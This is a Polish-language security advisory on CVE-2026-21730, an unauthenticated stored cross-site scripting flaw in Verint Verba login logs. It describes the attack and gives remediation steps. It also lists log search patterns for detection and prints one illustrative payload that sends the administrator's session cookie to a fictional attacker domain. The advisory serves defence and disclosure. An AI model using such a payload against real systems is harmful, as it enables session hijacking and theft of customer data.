TL;DR: W oprogramowaniu Verint Verba zidentyfikowano podatność, która pozwala na wykonanie dowolnego kodu JavaScript w przeglądarce administratora. Atak nie wymaga uwierzytelnienia i polega na wstrzyknięciu złośliwego kodu w polu nazwy użytkownika podczas próby logowania. Wszystkie wersje poniżej 10.0.6 są podatne. Zgłoszenie koordynował CERT Polska.

W skrócie: jeśli używasz oprogramowania Verint Verba do nagrywania rozmów lub monitoringu jakości, Twoje systemy są zagrożone. Nieuwierzytelniony atakujący może zostawić w logach „cyfrową minę”, która wybuchnie, gdy administrator spróbuje sprawdzić, kto logował się do systemu. Skutkiem może być kradzież danych, przejęcie kontroli nad platformą, a nawet dalszy ruch wewnątrz sieci firmowej. Konieczna jest natychmiastowa aktualizacja.

Wektor ataku

Podatność oznaczona identyfikatorem CVE (Common Vulnerabilities and Exposures, identyfikator publicznie znanej luki) CVE-2026-21730 1 dotyczy oprogramowania Verba od producenta Verint 2. Jest to system często wykorzystywany w contact center i instytucjach finansowych do rejestracji i analizy interakcji z klientami. Luka została sklasyfikowana jako CWE-79 (Improper Neutralization of Input During Web Page Generation) 3, szerzej znana jako Stored XSS (Cross-site Scripting).

Atak typu Stored XSS polega na umieszczeniu przez atakującego złośliwego skryptu na serwerze docelowym w taki sposób, aby został on później wykonany w przeglądarce innej ofiary. W tym konkretnym przypadku ofiarą jest administrator systemu Verba, a miejscem przechowywania skryptu są logi aplikacji.

Przebieg ataku jest następujący:

  1. Próba logowania: Zdalny, nieuwierzytelniony atakujący przechodzi do panelu logowania systemu Verba 4.
  2. Wstrzyknięcie payloadu: W polu przeznaczonym na nazwę użytkownika atakujący wprowadza złośliwy kod JavaScript, opakowany w tagi HTML. W polu hasła może wpisać dowolną wartość.
  3. Zapis w logach: System Verba, rejestrując nieudaną próbę logowania, zapisuje podaną przez atakującego nazwę użytkownika w logach aplikacji 5. Kluczowym elementem luki jest fakt, że dane te nie są w żaden sposób filtrowane ani „oczyszczane” (proces ten nazywamy sanityzacją) 6. System zapisuje więc w logach pełny, złośliwy skrypt.
  4. Uruchomienie przez administratora: W momencie, gdy administrator systemu zaloguje się i otworzy panel przeglądania logów, aplikacja webowa pobiera zapisane dane i wyświetla je w przeglądarce 7. Ponieważ złośliwy kod jest częścią danych, przeglądarka administratora interpretuje go i wykonuje.

Skutki wykonania takiego kodu w kontekście sesji administratora mogą być poważne. Atakujący może:

  • Przejąć sesję administratora: Kradnąc pliki cookie sesji, atakujący może zalogować się do systemu jako administrator bez znajomości hasła.
  • Wykonać akcje administracyjne: Zmienić konfigurację systemu, dodać nowych użytkowników lub usunąć istniejących.
  • Wykraść dane: Uzyskać dostęp do wrażliwych informacji przetwarzanych przez system Verba, takich jak nagrania rozmów, dane klientów czy wewnętrzne metadane.
  • Przeprowadzić dalsze ataki: Wykorzystać przejęte konto jako punkt startowy do ataków na inne systemy wewnątrz sieci firmowej (tzw. ruch lateralny).

Podatne są wszystkie wersje oprogramowania Verba poniżej 10.0.6 8.

Wskaźniki kompromitacji

Ten typ ataku nie generuje typowych wskaźników kompromitacji (IoC — Indicators of Compromise), takich jak hashe plików czy adresy IP serwerów C2 (Command and Control — serwer kontrolujący zainfekowane maszyny). Wskaźnikiem jest sama obecność nietypowych danych w logach systemowych.

Administratorzy powinni przeszukać logi nieudanych prób logowania pod kątem obecności fragmentów kodu HTML i JavaScript. Można to zrobić, wyszukując w logach charakterystycznych ciągów znaków, takich jak:

<script
onerror=
onload=
<svg
<img src
javascript:

Przykładowy, poglądowy payload, który mógłby zostać użyty w polu nazwy użytkownika, wyglądałby następująco:

<script>fetch('https://atakujacy.xyz/log?cookie='+document.cookie);</script>

Powyższy przykład (poglądowy, domena jest fikcyjna) próbuje wysłać pliki cookie sesji administratora na serwer kontrolowany przez atakującego. Należy zwrócić uwagę na każdą próbę logowania, gdzie nazwa użytkownika zawiera znaki < lub >.

Co zrobić w 24-48h

Z uwagi na prostotę eksploatacji i potencjalnie wysokie ryzyko, rekomendujemy podjęcie natychmiastowych działań.

  1. Priorytet 1: Aktualizacja oprogramowania. Jedynym skutecznym i trwałym rozwiązaniem jest aktualizacja instancji Verint Verba do wersji 10.0.6 lub nowszej 9. W tej wersji problem braku sanityzacji danych wejściowych został naprawiony.

  2. Priorytet 2: Audyt logów. Niezależnie od aktualizacji, należy przeprowadzić audyt logów nieudanych prób logowania. Celem jest ustalenie, czy podatność nie została już wykorzystana. Należy przeszukać logi pod kątem obecności kodu HTML/JavaScript w polach nazw użytkowników. Jeśli znajdzie się takie wpisy, należy założyć, że doszło do kompromitacji i rozpocząć procedurę reagowania na incydent.

  3. Priorytet 3: Ograniczenie dostępu (środek tymczasowy). Jeśli natychmiastowa aktualizacja jest niemożliwa, należy jako środek zaradczy ograniczyć dostęp sieciowy do panelu administracyjnego Verba wyłącznie do zaufanych adresów IP (np. wewnętrznej sieci SOC lub biurowego VPN). To nie eliminuje luki, ale znacząco utrudnia jej wykorzystanie przez zewnętrznego atakującego.

  4. Priorytet 4: Unieważnienie sesji. Po wdrożeniu aktualizacji rekomendujemy unieważnienie wszystkich aktywnych sesji administracyjnych, aby upewnić się, że żadna przejęta sesja nie pozostaje aktywna.

Dla polskich firm, zwłaszcza z sektora finansowego i obsługi klienta, gdzie systemy typu Verba są kluczowe dla zgodności z regulacjami i kontroli jakości, incydent tego typu może mieć poważne konsekwencje biznesowe i prawne, włączając w to naruszenie RODO (Rozporządzenie o Ochronie Danych Osobowych).

Atrybucja

Nie posiadamy informacji o aktywnych kampaniach wykorzystujących tę podatność. Analiza dotyczy samej luki w oprogramowaniu.

Zgłoszenie podatności zostało dokonane przez badacza bezpieczeństwa Jana Czerlunczakiewicza z firmy STM Cyber 10. Proces odpowiedzialnego ujawniania informacji (responsible disclosure) był koordynowany przez zespół CERT Polska.

Co istotne, według publicznych informacji, producent oprogramowania — firma Verint — nie odpowiedział na zgłoszenie podatności 11. Mimo to ostatecznie wydano poprawioną wersję oprogramowania.

Źródła

Zobacz też

Footnotes

  1. Identyfikator CVE-2026-21730 przypisany podatności w oprogramowaniu Verba — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  2. Producentem podatnego oprogramowania Verba jest firma Verint — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  3. Luka sklasyfikowana jako CWE-79 (Improper Neutralization of Input During Web Page Generation) — https://nvd.nist.gov/vuln/detail/CVE-2026-21730 ↩

  4. Atak inicjuje zdalny, nieuwierzytelniony atakujący na panelu logowania systemu Verba — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  5. Nazwa użytkownika z nieudanej próby logowania jest zapisywana w logach aplikacji — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  6. Zapisywane dane nie są filtrowane ani sanityzowane przed zapisem — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  7. Złośliwy skrypt wykonuje się w przeglądarce administratora otwierającego panel logów — https://nvd.nist.gov/vuln/detail/CVE-2026-21730 ↩

  8. Podatne są wszystkie wersje Verba poniżej 10.0.6 — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  9. Problem został naprawiony w wersji 10.0.6 — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  10. Podatność zgłosił Jan Czerlunczakiewicz z firmy STM Cyber — https://cert.pl/posts/2026/05/CVE-2026-21730/ ↩

  11. Producent (Verint) nie odpowiedział na zgłoszenie podatności — https://nvd.nist.gov/vuln/detail/CVE-2026-21730 ↩